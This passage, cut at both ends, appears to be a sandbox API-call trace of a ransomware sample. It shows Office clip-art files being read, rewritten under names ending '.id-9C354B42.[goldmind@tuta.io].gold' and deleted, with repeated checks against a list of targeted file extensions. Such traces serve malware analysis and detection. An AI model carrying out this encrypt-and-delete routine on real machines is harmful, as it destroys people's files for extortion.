dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0105.255] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.255] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0105.255] GetLastError () returned 0x0 [0105.255] ReadFile (in: hFile=0x3c4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1210, lpOverlapped=0x0) returned 1 [0105.309] WriteFile (in: hFile=0x19c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0105.310] ReadFile (in: hFile=0x3c4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.310] WriteFile (in: hFile=0x19c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.310] SetEndOfFile (hFile=0x19c) returned 1 [0105.310] CloseHandle (hObject=0x19c) returned 1 [0105.310] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.310] SetEndOfFile (hFile=0x3c4) returned 1 [0105.312] CloseHandle (hObject=0x3c4) returned 1 [0105.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0105.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0105.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0105.313] lstrlenW (lpString=".doc") returned 4 [0105.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.313] lstrlenW (lpString=".docx") returned 5 [0105.313] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.313] lstrlenW (lpString=".pdf") returned 4 [0105.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.313] lstrlenW (lpString=".xls") returned 4 [0105.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.313] lstrlenW (lpString=".xlsx") returned 5 [0105.313] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.313] lstrlenW (lpString=".ppt") returned 4 [0105.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0105.313] lstrlenW (lpString=".zip") returned 4 [0105.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.313] lstrlenW (lpString=".rar") returned 4 [0105.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.313] lstrlenW (lpString=".bz2") returned 4 [0105.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.313] lstrlenW (lpString=".7z") returned 3 [0105.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0105.313] lstrlenW (lpString=".dbf") returned 4 [0105.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0105.313] lstrlenW (lpString=".1cd") returned 4 [0105.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0105.313] lstrlenW (lpString=".jpg") returned 4 [0105.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0105.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0105.314] lstrlenW (lpString=".doc") returned 4 [0105.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.314] lstrlenW (lpString=".docx") returned 5 [0105.314] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.314] lstrlenW (lpString=".pdf") returned 4 [0105.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.314] lstrlenW (lpString=".xls") returned 4 [0105.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.314] lstrlenW (lpString=".xlsx") returned 5 [0105.314] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.314] lstrlenW (lpString=".ppt") returned 4 [0105.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0105.314] lstrlenW (lpString=".zip") returned 4 [0105.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.314] lstrlenW (lpString=".rar") returned 4 [0105.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.314] lstrlenW (lpString=".bz2") returned 4 [0105.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.314] lstrlenW (lpString=".7z") returned 3 [0105.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0105.314] lstrlenW (lpString=".dbf") returned 4 [0105.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0105.314] lstrlenW (lpString=".1cd") returned 4 [0105.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0105.314] lstrlenW (lpString=".jpg") returned 4 [0105.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.314] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.314] lstrlenW (lpString="J0105386.WMF") returned 12 [0105.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0105.315] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=5980) returned 1 [0105.315] CloseHandle (hObject=0x3c4) returned 1 [0105.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf")) returned 0x20 [0105.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0105.315] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.315] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0105.316] GetLastError () returned 0x0 [0105.316] ReadFile (in: hFile=0x3c4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x175c, lpOverlapped=0x0) returned 1 [0105.327] WriteFile (in: hFile=0x19c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1760, lpOverlapped=0x0) returned 1 [0105.328] ReadFile (in: hFile=0x3c4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.328] WriteFile (in: hFile=0x19c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.328] SetEndOfFile (hFile=0x19c) returned 1 [0105.328] CloseHandle (hObject=0x19c) returned 1 [0105.328] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.328] SetEndOfFile (hFile=0x3c4) returned 1 [0105.330] CloseHandle (hObject=0x3c4) returned 1 [0105.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0105.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0105.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0105.331] lstrlenW (lpString=".doc") returned 4 [0105.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.331] lstrlenW (lpString=".docx") returned 5 [0105.331] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.331] lstrlenW (lpString=".pdf") returned 4 [0105.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.331] lstrlenW (lpString=".xls") returned 4 [0105.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.331] lstrlenW (lpString=".xlsx") returned 5 [0105.331] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.331] lstrlenW (lpString=".ppt") returned 4 [0105.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0105.331] lstrlenW (lpString=".zip") returned 4 [0105.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.331] lstrlenW (lpString=".rar") returned 4 [0105.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.331] lstrlenW (lpString=".bz2") returned 4 [0105.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.331] lstrlenW (lpString=".7z") returned 3 [0105.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0105.331] lstrlenW (lpString=".dbf") returned 4 [0105.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0105.331] lstrlenW (lpString=".1cd") returned 4 [0105.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0105.332] lstrlenW (lpString=".jpg") returned 4 [0105.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0105.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0105.332] lstrlenW (lpString=".doc") returned 4 [0105.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.332] lstrlenW (lpString=".docx") returned 5 [0105.332] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.332] lstrlenW (lpString=".pdf") returned 4 [0105.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.332] lstrlenW (lpString=".xls") returned 4 [0105.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.332] lstrlenW (lpString=".xlsx") returned 5 [0105.332] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.332] lstrlenW (lpString=".ppt") returned 4 [0105.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0105.332] lstrlenW (lpString=".zip") returned 4 [0105.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.332] lstrlenW (lpString=".rar") returned 4 [0105.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.332] lstrlenW (lpString=".bz2") returned 4 [0105.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.332] lstrlenW (lpString=".7z") returned 3 [0105.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0105.332] lstrlenW (lpString=".dbf") returned 4 [0105.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0105.332] lstrlenW (lpString=".1cd") returned 4 [0105.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0105.332] lstrlenW (lpString=".jpg") returned 4 [0105.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.332] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.332] lstrlenW (lpString="J0105390.WMF") returned 12 [0105.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.342] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=4944) returned 1 [0105.342] CloseHandle (hObject=0x230) returned 1 [0105.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf")) returned 0x20 [0105.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.342] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.342] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0105.343] GetLastError () returned 0x0 [0105.343] ReadFile (in: hFile=0x230, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1350, lpOverlapped=0x0) returned 1 [0105.348] WriteFile (in: hFile=0x3c4, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1360, lpOverlapped=0x0) returned 1 [0105.348] ReadFile (in: hFile=0x230, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.348] WriteFile (in: hFile=0x3c4, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.348] SetEndOfFile (hFile=0x3c4) returned 1 [0105.349] CloseHandle (hObject=0x3c4) returned 1 [0105.349] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.349] SetEndOfFile (hFile=0x230) returned 1 [0105.350] CloseHandle (hObject=0x230) returned 1 [0105.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0105.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0105.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0105.351] lstrlenW (lpString=".doc") returned 4 [0105.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.352] lstrlenW (lpString=".docx") returned 5 [0105.352] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.352] lstrlenW (lpString=".pdf") returned 4 [0105.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.352] lstrlenW (lpString=".xls") returned 4 [0105.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.352] lstrlenW (lpString=".xlsx") returned 5 [0105.352] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.352] lstrlenW (lpString=".ppt") returned 4 [0105.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0105.352] lstrlenW (lpString=".zip") returned 4 [0105.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.352] lstrlenW (lpString=".rar") returned 4 [0105.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.352] lstrlenW (lpString=".bz2") returned 4 [0105.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.352] lstrlenW (lpString=".7z") returned 3 [0105.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0105.352] lstrlenW (lpString=".dbf") returned 4 [0105.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0105.352] lstrlenW (lpString=".1cd") returned 4 [0105.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0105.352] lstrlenW (lpString=".jpg") returned 4 [0105.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0105.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0105.352] lstrlenW (lpString=".doc") returned 4 [0105.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.352] lstrlenW (lpString=".docx") returned 5 [0105.352] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.352] lstrlenW (lpString=".pdf") returned 4 [0105.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.352] lstrlenW (lpString=".xls") returned 4 [0105.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.352] lstrlenW (lpString=".xlsx") returned 5 [0105.352] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.352] lstrlenW (lpString=".ppt") returned 4 [0105.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0105.352] lstrlenW (lpString=".zip") returned 4 [0105.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.352] lstrlenW (lpString=".rar") returned 4 [0105.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.352] lstrlenW (lpString=".bz2") returned 4 [0105.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.352] lstrlenW (lpString=".7z") returned 3 [0105.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0105.352] lstrlenW (lpString=".dbf") returned 4 [0105.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0105.353] lstrlenW (lpString=".1cd") returned 4 [0105.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0105.353] lstrlenW (lpString=".jpg") returned 4 [0105.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.353] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.353] lstrlenW (lpString="J0105396.WMF") returned 12 [0105.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.353] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=11012) returned 1 [0105.353] CloseHandle (hObject=0x230) returned 1 [0105.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf")) returned 0x20 [0105.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.354] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.354] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 